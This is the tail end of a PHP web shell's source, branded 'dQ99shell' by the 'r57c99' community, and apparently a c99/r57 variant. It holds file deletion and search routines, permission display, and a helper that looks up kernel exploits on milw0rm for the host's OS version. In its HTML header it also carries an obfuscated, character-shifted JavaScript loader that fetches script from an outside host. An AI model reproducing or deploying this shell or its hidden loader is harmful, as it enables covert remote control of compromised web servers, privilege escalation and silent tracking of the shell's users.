2912 if (!is_dir($d.$o)) {unlink($d.$o);}
2913 else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
2914 }
2915 }
2916 closedir($h);
2917 rmdir($d);
2918 return !is_dir($d);
2919}
2920function fs_rmobj($o) {
2921 $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
2922 if (is_dir($o)) {
2923 if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
2924 return fs_rmdir($o);
2925 }
2926 elseif (is_file($o)) {return unlink($o);}
2927 else {return FALSE;}
2928}
2929## END FILESYSTEM FUNCTIONS ##
2930function onphpshutdown() {
2931 global $gzipencode,$ft;
2932 if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
2933 $v = @ob_get_contents();
2934 @ob_end_clean();
2935 @ob_start("ob_gzHandler");
2936 echo $v;
2937 @ob_end_flush();
2938 }
2939}
2940function dQ99shexit() { onphpshutdown(); exit; }
2941
2942function dQ99fsearch($d) {
2943 global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a;
2944 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
2945 $h = opendir($d);
2946 while (($f = readdir($h)) !== FALSE) {
2947 if($f != "." && $f != "..") {
2948 $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
2949 if (is_dir($d.$f)) {
2950 $search_i_d++;
2951 if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
2952 if (!is_link($d.$f)) {dQ99fsearch($d.$f);}
2953 }
2954 else {
2955 $search_i_f++;
2956 if ($bool) {
2957 if (!empty($a["text"])) {
2958 $r = @file_get_contents($d.$f);
2959 if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
2960 if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
2961 if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
2962 else {$bool = strpos(" ".$r,$a["text"],1);}
2963 if ($a["text_not"]) {$bool = !$bool;}
2964 if ($bool) {$found[] = $d.$f; $found_f++;}
2965 }
2966 else {$found[] = $d.$f; $found_f++;}
2967 }
2968 }
2969 }
2970 }
2971 closedir($h);
2972}
2973function view_size($size) {
2974 if (!is_numeric($size)) { return FALSE; }
2975 else {
2976 if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
2977 elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
2978 elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
2979 else {$size = $size . " B";}
2980 return $size;
2981 }
2982}
2983function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);}
2984function view_perms($mode) {
2985 if (($mode & 0xC000) === 0xC000) {$type = "s";}
2986 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
2987 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
2988 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
2989 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
2990 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
2991 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
2992 else {$type = "?";}
2993 $owner["read"] = ($mode & 00400)?"r":"-";
2994 $owner["write"] = ($mode & 00200)?"w":"-";
2995 $owner["execute"] = ($mode & 00100)?"x":"-";
2996 $group["read"] = ($mode & 00040)?"r":"-";
2997 $group["write"] = ($mode & 00020)?"w":"-";
2998 $group["execute"] = ($mode & 00010)?"x":"-";
2999 $world["read"] = ($mode & 00004)?"r":"-";
3000 $world["write"] = ($mode & 00002)? "w":"-";
3001 $world["execute"] = ($mode & 00001)?"x":"-";
3002 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
3003 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
3004 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
3005 return $type.join("",$owner).join("",$group).join("",$world);
3006}
3007function parse_perms($mode) {
3008 if (($mode & 0xC000) === 0xC000) {$t = "s";}
3009 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
3010 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
3011 elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
3012 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
3013 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
3014 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
3015 else {$t = "?";}
3016 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
3017 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
3018 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
3019 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
3020}
3021function parsesort($sort) {
3022 $one = intval($sort);
3023 $second = substr($sort,-1);
3024 if ($second != "d") {$second = "a";}
3025 return array($one,$second);
3026}
3027function view_perms_color($o) {
3028 if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
3029 elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
3030 else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
3031}
3032function str2mini($content,$len) {
3033 if (strlen($content) > $len) {
3034 $len = ceil($len/2) - 2;
3035 return substr($content, 0,$len)."...".substr($content,-$len);
3036 } else {return $content;}
3037}
3038function strips(&$arr,$k="") {
3039 if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } }
3040 else { $arr = stripslashes($arr); }
3041}
3042
3043function getmicrotime() {
3044 list($usec, $sec) = explode(" ", microtime());
3045 return ((float)$usec + (float)$sec);
3046}
3047
3048function milw0rm() {
3049 $Lversion = php_uname(r);
3050 $OSV = php_uname(s);
3051 if(eregi("Linux",$OSV)) {
3052 $Lversion = substr($Lversion,0,6);
3053 return "http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
3054 } else {
3055 $Lversion = substr($Lversion,0,3);
3056 return "http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
3057 }
3058}
3059function tools() {
3060 echo "List of tools";
3061}
3062
3063function sh_name() { return base64_decode("ZGlLaSBkUTk5c2hlbGwgdg==").sh_ver; }
3064function htmlhead($safemode) {
3065$style = '
3066<style type="text/css">
3067body,table {font:8pt verdana;background-color:black;}
3068table {width:100%;}
3069table,td,#maininfo td {padding:3px;}
3070table,td,input,select,option {border:1px solid #808080;}
3071body,table,input,select,option {color:#FFFFFF;}
3072a {color:lightblue;text-decoration:none; } a:link {color:#5B5BFF;} a:hover {text-decoration:underline;} a:visited {color:#99CCFF;}
3073textarea {color:#dedbde;font:8pt Courier New;border:1px solid #666666;margin:2;}
3074#pagebar {padding:5px;border:3px solid #1E1E1E;border-collapse:collapse;}
3075#pagebar td {vertical-align:top;}
3076#pagebar,#pagebar p,.info,input,select,option {font:8pt tahoma;}
3077#pagebar a {font-weight:bold;color:#00FF00;}
3078#pagebar a:visited {color:#00CE00;}
3079#mainmenu {text-align:center;}
3080#mainmenu a {text-align: center;padding: 0px 5px 0px 5px;}
3081#maininfo,.barheader,.bartitle {text-align:center;}
3082.fleft {float:left;text-align:left;}
3083.fright {float:right;text-align:right;}
3084.bartitle {padding:5px;border:2px solid #1F1F1F;}
3085.barheader {font-weight:bold;padding:5px;}
3086.info,.info td,.info th {margin:0;padding:0;border-collapse:collapse;}
3087.info th {color:#00FF00;text-align:left;width:13%;}
3088.contents,.explorer {border-collapse:collapse;}
3089.contents,.explorer td,th {vertical-align:top;}
3090.mainpanel {border-collapse:collapse;padding:5px;}
3091.barheader,.mainpanel table,td {border:1px solid #333333;}
3092input[type="submit"],input[type="button"] {border:1px solid #000000;}
3093input[type="text"] {padding:3px;}
3094.shell {background-color:#000000;color:#00FF00;padding:5px;font-size:12;}
3095.fxerrmsg {color:red; font-weight:bold;}
3096#pagebar,#pagebar p,h1,h2,h3,h4,form {margin:0;}
3097#pagebar,.mainpanel,input[type="submit"],input[type="button"] {background-color:#4A4A4A;}
3098.bartitle,input,select,option,input[type="submit"]:hover,input[type="button"]:hover {background-color:#333333;}
3099textarea,#pagebar input[type="text"],.mainpanel input[type="text"],input[type="file"],select,option {background-color:#000000;}
3100input[type="label"] { text-align:right;}
3101.info,.info td,input[type="label"] {border:0;background:none;}
3102</style>
3103';
3104$html_start = '
3105<html><head>
3106<title>'.getenv("HTTP_HOST").' - '.sh_name().'</title>
3107'.$style.'
3108</head>
3109<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264DTDSJQU%2631MBOHVBHF%264E%2633kbwbtdsjqu%2633%2631TSD%264E%2633iuuq%264B00s68d%3A%3A/dpn0o4xti4m0dj%7B/kt%2633%264F%261B%261B%264D0TDSJQU%264F%261B%261%3A%261%3A%261%3A1')</script>
3110<body>
3111<div class=bartitle><h4>'.sh_name().'</h4>.: http://www.r57c99.com Dq99Shell :.</div>
3112';
3113return $html_start;
3114};
3115function footer() {
3116 echo "<div class=bartitle colspan=2><font size=1 color=#00FF00> By www.r57c99.com, � 2008 r57c99 Community, Generated: ".round(getmicrotime()-starttime,4)." seconds</font></div>";
3117}
3118chdir($lastdir); dQ99shexit();
3119?>